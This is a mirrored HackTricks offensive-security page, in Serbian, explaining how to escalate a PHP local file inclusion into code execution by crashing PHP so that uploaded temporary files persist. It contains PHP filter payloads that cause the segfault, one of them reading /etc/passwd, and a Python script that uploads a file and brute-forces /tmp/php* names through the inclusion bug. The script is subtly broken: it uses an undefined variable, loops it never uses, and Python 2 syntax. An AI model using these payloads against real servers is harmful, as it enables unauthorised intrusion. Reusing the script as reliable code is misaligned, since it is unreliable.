mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
61 lines
2.2 KiB
Markdown
61 lines
2.2 KiB
Markdown
# LFI2RCE putem Segmentation Fault
|
|
|
|
{{#include ../../banners/hacktricks-training.md}}
|
|
|
|
Prema izveštajima [https://spyclub.tech/2018/12/21/one-line-and-return-of-one-line-php-writeup/](https://spyclub.tech/2018/12/21/one-line-and-return-of-one-line-php-writeup/) (drugi deo) i [https://hackmd.io/@ZzDmROodQUynQsF9je3Q5Q/rJlfZva0m?type=view](https://hackmd.io/@ZzDmROodQUynQsF9je3Q5Q/rJlfZva0m?type=view), sledeći payloadi su izazvali segmentation fault u PHP:
|
|
```php
|
|
// PHP 7.0
|
|
include("php://filter/string.strip_tags/resource=/etc/passwd");
|
|
|
|
// PHP 7.2
|
|
include("php://filter/convert.quoted-printable-encode/resource=data://,%bfAAAAAAAAAAAAAAAAAAAAAAA%ff%ff%ff%ff%ff%ff%ff%ffAAAAAAAAAAAAAAAAAAAAAAAA");
|
|
```
|
|
Trebalo bi da znate da ako **pošaljete** **POST** zahtev **koji sadrži** **fajl**, PHP će kreirati **privremeni fajl u `/tmp/php<nešto>`** sa sadržajem tog fajla. Ovaj fajl će biti **automatski obrisan** kada se zahtev obradi.
|
|
|
|
Ako pronađete **LFI** i uspete da **pokrenete** grešku segmentacije u PHP-u, **privremeni fajl nikada neće biti obrisan**. Stoga, možete **pretraživati** za njim koristeći **LFI** ranjivost dok ga ne pronađete i izvršite proizvoljan kod.
|
|
|
|
Možete koristiti docker sliku [https://hub.docker.com/r/easyengine/php7.0](https://hub.docker.com/r/easyengine/php7.0) za testiranje.
|
|
```python
|
|
# upload file with segmentation fault
|
|
import requests
|
|
url = "http://localhost:8008/index.php?i=php://filter/string.strip_tags/resource=/etc/passwd"
|
|
files = {'file': open('la.php','rb')}
|
|
response = requests.post(url, files=files)
|
|
|
|
|
|
# Search for the file (improve this with threads)
|
|
import requests
|
|
import string
|
|
import threading
|
|
|
|
charset = string.ascii_letters + string.digits
|
|
|
|
host = "127.0.0.1"
|
|
port = 80
|
|
base_url = "http://%s:%d" % (host, port)
|
|
|
|
|
|
def bruteforce(charset):
|
|
for i in charset:
|
|
for j in charset:
|
|
for k in charset:
|
|
for l in charset:
|
|
for m in charset:
|
|
for n in charset:
|
|
filename = prefix + i + j + k
|
|
url = "%s/index.php?i=/tmp/php%s" % (base_url, filename)
|
|
print url
|
|
response = requests.get(url)
|
|
if 'spyd3r' in response.content:
|
|
print "[+] Include success!"
|
|
return True
|
|
|
|
|
|
def main():
|
|
bruteforce(charset)
|
|
|
|
if __name__ == "__main__":
|
|
main()
|
|
```
|
|
{{#include ../../banners/hacktricks-training.md}}
|